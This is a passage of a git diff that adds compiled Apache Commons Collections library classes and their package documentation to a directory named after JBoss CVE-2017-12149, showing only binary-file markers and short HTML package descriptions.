b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class new file mode 100644 index 0000000..ce41257 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Inverse.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class new file mode 100644 index 0000000..8174088 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$Node.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class new file mode 100644 index 0000000..c96db66 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$View.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class new file mode 100644 index 0000000..165ac7b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class new file mode 100644 index 0000000..6137395 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap$ViewMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class new file mode 100644 index 0000000..3023536 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/TreeBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class new file mode 100644 index 0000000..e75912e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class new file mode 100644 index 0000000..72490ad Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class new file mode 100644 index 0000000..9c1869d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html new file mode 100644 index 0000000..2bb51a0 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/bidimap/package.html @@ -0,0 +1,47 @@ + + + +

+This package contains implementations of the +{@link org.apache.commons.collections.BidiMap BidiMap}, +{@link org.apache.commons.collections.OrderedBidiMap OrderedBidiMap} and +{@link org.apache.commons.collections.SortedBidiMap SortedBidiMap} interfaces. +A BidiMap is an extension to Map that allows keys and values to be looked up with equal ease. +One example usage is a system communicating to a legacy datasource that must convert codes +from the new format to the old format and vice versa. +

+The following implementations are provided in the package: +

+

+The following decorators are provided in the package: +

+ + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class new file mode 100644 index 0000000..b5f055c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/AbstractBufferDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class new file mode 100644 index 0000000..7216d57 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BlockingBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class new file mode 100644 index 0000000..06e4531 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class new file mode 100644 index 0000000..b017466 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/BoundedFifoBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class new file mode 100644 index 0000000..791c8db Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/CircularFifoBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class new file mode 100644 index 0000000..2b6f01d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PredicatedBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class new file mode 100644 index 0000000..0597172 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class new file mode 100644 index 0000000..c132c5d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/PriorityBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class new file mode 100644 index 0000000..09f2b18 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/SynchronizedBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class new file mode 100644 index 0000000..1c636d2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TransformedBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class new file mode 100644 index 0000000..5b8d45c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/TypedBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class new file mode 100644 index 0000000..0e0ab55 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class new file mode 100644 index 0000000..74fa7e9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnboundedFifoBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class new file mode 100644 index 0000000..6084004 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/UnmodifiableBuffer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html new file mode 100644 index 0000000..16d55b7 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/buffer/package.html @@ -0,0 +1,40 @@ + + + +

+This package contains implementations of the +{@link org.apache.commons.collections.Buffer Buffer} interface. +

+The following implementations are provided in the package: +

+

+The following decorators are provided in the package: +

+ + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class new file mode 100644 index 0000000..d74699a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractCollectionDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class new file mode 100644 index 0000000..0e1a830 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class new file mode 100644 index 0000000..82d5ca0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection$CollectionMutator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class new file mode 100644 index 0000000..9e0df37 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/CompositeCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class new file mode 100644 index 0000000..db37176 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/PredicatedCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class new file mode 100644 index 0000000..7f0b7d0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/SynchronizedCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class new file mode 100644 index 0000000..45af392 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/TransformedCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class new file mode 100644 index 0000000..ef7f105 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/TypedCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class new file mode 100644 index 0000000..6cd908a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class new file mode 100644 index 0000000..aaa634e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/UnmodifiableCollection.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html new file mode 100644 index 0000000..bafc089 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/collection/package.html @@ -0,0 +1,35 @@ + + + +

+This package contains implementations of the +{@link java.util.Collection Collection} interface. +

+The following implementations are provided in the package: +

+The following decorators are provided in the package: + + + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class new file mode 100644 index 0000000..ab84896 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/BooleanComparator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class new file mode 100644 index 0000000..5920296 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparableComparator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class new file mode 100644 index 0000000..f1901fc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ComparatorChain.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class new file mode 100644 index 0000000..d367985 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/FixedOrderComparator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class new file mode 100644 index 0000000..ed8d2de Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/NullComparator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class new file mode 100644 index 0000000..161503b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/ReverseComparator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class new file mode 100644 index 0000000..62c2837 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/TransformingComparator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html new file mode 100644 index 0000000..d211c80 --- /dev/null +++ b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/comparators/package.html @@ -0,0 +1,26 @@ + + + +

+This package contains implementations of the +{@link java.util.Comparator Comparator} interface. +

+You may also consider using +{@link org.apache.commons.collections.ComparatorUtils ComparatorUtils}, +which is a single class that uses static methods to construct instances +of the classes in this package. + diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class new file mode 100644 index 0000000..28933b8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AllPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class new file mode 100644 index 0000000..85263e9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AndPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class new file mode 100644 index 0000000..f645550 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/AnyPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class new file mode 100644 index 0000000..0aa7e87 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class new file mode 100644 index 0000000..b43ca46 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ChainedTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class new file mode 100644 index 0000000..6d674c2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/CloneTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class new file mode 100644 index 0000000..727bc8a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ClosureTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class new file mode 100644 index 0000000..1188757 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantFactory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class new file mode 100644 index 0000000..1126cf0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ConstantTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class new file mode 100644 index 0000000..6d43479 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/EqualPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class new file mode 100644 index 0000000..6aabfcb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class new file mode 100644 index 0000000..f1db34b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionFactory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class new file mode 100644 index 0000000..eba5a8b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class new file mode 100644 index 0000000..d302b0c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ExceptionTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class new file mode 100644 index 0000000..1fe1f27 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FactoryTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class new file mode 100644 index 0000000..b39e755 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FalsePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class new file mode 100644 index 0000000..08c5423 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/ForClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class new file mode 100644 index 0000000..f1b6dde Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/FunctorUtils.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class new file mode 100644 index 0000000..0bd799e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/IdentityPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class new file mode 100644 index 0000000..20b02bf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/IfClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class new file mode 100644 index 0000000..0ee00b2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstanceofPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class new file mode 100644 index 0000000..ee580e0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateFactory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class new file mode 100644 index 0000000..d8070df Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InstantiateTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class new file mode 100644 index 0000000..db8a7cf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/InvokerTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class new file mode 100644 index 0000000..6560060 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/MapTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class new file mode 100644 index 0000000..2d0fa40 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPClosure.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class new file mode 100644 index 0000000..3bd6cc5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NOPTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class new file mode 100644 index 0000000..8b87fed Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NonePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class new file mode 100644 index 0000000..398f28f Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotNullPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class new file mode 100644 index 0000000..eb8ec26 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NotPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class new file mode 100644 index 0000000..152c550 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsExceptionPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class new file mode 100644 index 0000000..b4788c4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsFalsePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class new file mode 100644 index 0000000..2e6842d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullIsTruePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class new file mode 100644 index 0000000..c0523b9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/NullPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class new file mode 100644 index 0000000..a3a633c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/OnePredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class new file mode 100644 index 0000000..4ab8b6c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/OrPredicate.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class new file mode 100644 index 0000000..e90ddee Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class new file mode 100644 index 0000000..49ca79d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PredicateTransformer.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class new file mode 100644 index 0000000..f5f5ad1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeCloneFactory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class new file mode 100644 index 0000000..2b68159 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory$PrototypeSerializationFactory.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/functors/PrototypeFactory.class new file mode 100644 index 0000000..c3c0f05 Binary files /dev/null and 